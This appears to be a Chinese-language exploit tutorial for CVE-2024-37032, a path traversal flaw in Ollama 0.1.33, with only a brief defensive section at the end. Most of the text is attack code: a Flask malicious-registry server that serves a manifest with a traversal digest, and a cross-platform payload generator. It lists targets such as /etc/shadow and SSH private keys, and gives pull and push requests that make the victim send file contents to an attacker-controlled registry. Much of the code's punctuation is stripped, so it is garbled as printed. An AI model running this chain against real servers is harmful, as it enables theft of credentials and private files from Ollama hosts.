Ollama 0.1.33路径遍历漏洞实战从恶意注册表搭建到数据回传全流程解析在开源工具安全研究领域路径遍历漏洞始终是攻击者最青睐的突破口之一。当Ollama 0.1.33版本爆出CVE-2024-37032漏洞时安全社区立即意识到这是一个教科书级的案例——它不仅展示了输入验证缺失的严重后果更揭示了现代AI工具链中潜藏的基础设施风险。本文将带你走进攻击者的实验室通过搭建完整的PoC环境亲身体验从漏洞触发到数据窃取的全过程。1. 漏洞环境准备与工具链配置1.1 靶机环境搭建首先需要准备存在漏洞的Ollama实例。推荐使用Docker快速部署0.1.33版本docker run -d --rm -p 11434:11434 --name ollama-vuln ollama/ollama:0.1.33验证服务是否正常运行curl http://localhost:11434/api/tags正常应返回空列表{models:[]}。为模拟真实攻击场景建议关闭TLS验证docker exec ollama-vuln ollama serve --insecure1.2 攻击工具集准备攻击者需要以下组件恶意注册表服务器模拟模型仓库响应恶意清单请求构造工具发送精心设计的API请求数据接收端捕获回传的敏感文件推荐使用Python构建轻量级攻击工具链# 基础依赖安装 pip install flask requests python-magic2. 恶意注册表服务器构建实战2.1 注册表核心逻辑实现恶意注册表需要实现Docker Registry V2 API的关键端点。以下是使用Flask构建的简化版本from flask import Flask, jsonify, send_file app Flask(__name__) app.route(/v2/repo/manifests/tag) def malicious_manifest(repo, tag): payload { schemaVersion: 2, mediaType: application/vnd.docker.distribution.manifest.v2json, config: { mediaType: application/vnd.docker.container.image.v1json, digest: ../../../../../../../../etc/passwd, # 路径遍历Payload size: 1024 }, layers: [] } return jsonify(payload) if __name__ __main__: app.run(host0.0.0.0, port5000)关键参数说明digest字段注入../序列实现路径遍历mediaType需匹配Ollama支持的格式size值仅需满足基本校验2.2 高级Payload构造技巧实际攻击中Payload需要根据目标环境调整# 动态生成跨平台Payload import os def generate_payload(target_file): base_depth 10 # 基础遍历深度 if os.name nt: return f..\\..\\..\\..\\{target_file} else: return /.join([..]*base_depth [target_file])常见敏感目标文件Unix系统/etc/passwd,/etc/shadow,~/.ssh/id_rsaWindows系统C:\\Windows\\win.ini,C:\\Windows\\System32\\drivers\\etc\\hosts3. 漏洞触发与攻击链完成3.1 分阶段攻击流程完整的攻击链包含三个阶段诱导拉取使目标Ollama实例请求恶意清单触发读取利用路径遍历读取目标文件数据回传通过push操作窃取文件内容阶段一诱导拉取import requests target http://victim:11434 malicious_registry http://attacker:5000 pull_payload { name: f{malicious_registry}/evil/model:latest, insecure: True } r requests.post(f{target}/api/pull, jsonpull_payload) print(r.status_code) # 成功应返回200阶段二触发文件读取此阶段由Ollama自动完成当解析恶意清单时会尝试访问digest指定的路径。阶段三数据回传push_payload { name: f{malicious_registry}/exfil/data, insecure: True } r requests.post(f{target}/api/push, jsonpush_payload) print(r.text) # 查看回传数据3.2 攻击流量分析正常注册表交互与攻击流量的关键区别特征正常流量攻击流量digest格式SHA256哈希(64字符)包含路径遍历字符注册表地址知名域名(ollama.ai等)攻击者控制的IP/域名TLS使用强制HTTPS常伴随insecure:true参数4. 漏洞深度分析与绕过技巧4.1 底层机制解析漏洞根源在于Ollama的文件路径处理逻辑// 漏洞代码简化示意 func GetBlobsPath(digest string) string { base : /var/ollama/blobs return filepath.Join(base, sha256, digest) }filepath.Join()会规范化路径但不会阻止合法的..跳转。当digest为../../etc/passwd时最终路径将指向系统敏感文件。4.2 高级利用技巧多阶段Payload注入初始Payload探测基础目录深度二次攻击精确定位目标文件通过错误信息推断文件系统结构混合攻击向量{ config: { digest: ../../../etc/passwd }, layers: [ { digest: ../../../var/lib/ollama/config.json, mediaType: application/vnd.ollama.image.model } ] }5. 防御视角的启示虽然本文聚焦攻击复现但防御措施同样重要临时缓解方案# 网络层隔离 iptables -A INPUT -p tcp --dport 11434 -j DROP # 文件系统保护 chmod -R o-w /var/lib/ollama长期防护策略实施严格的输入验证正则^[a-f0-9]{64}$启用内容地址存储(CAS)机制部署运行时文件访问监控漏洞研究的意义在于提前发现风险。通过亲手复现CVE-2024-37032我们不仅理解了路径遍历漏洞的威力更体会到安全编码和深度防御的重要性。在实验室环境中每次成功的攻击复现都是对未来安全威胁的一次有效疫苗。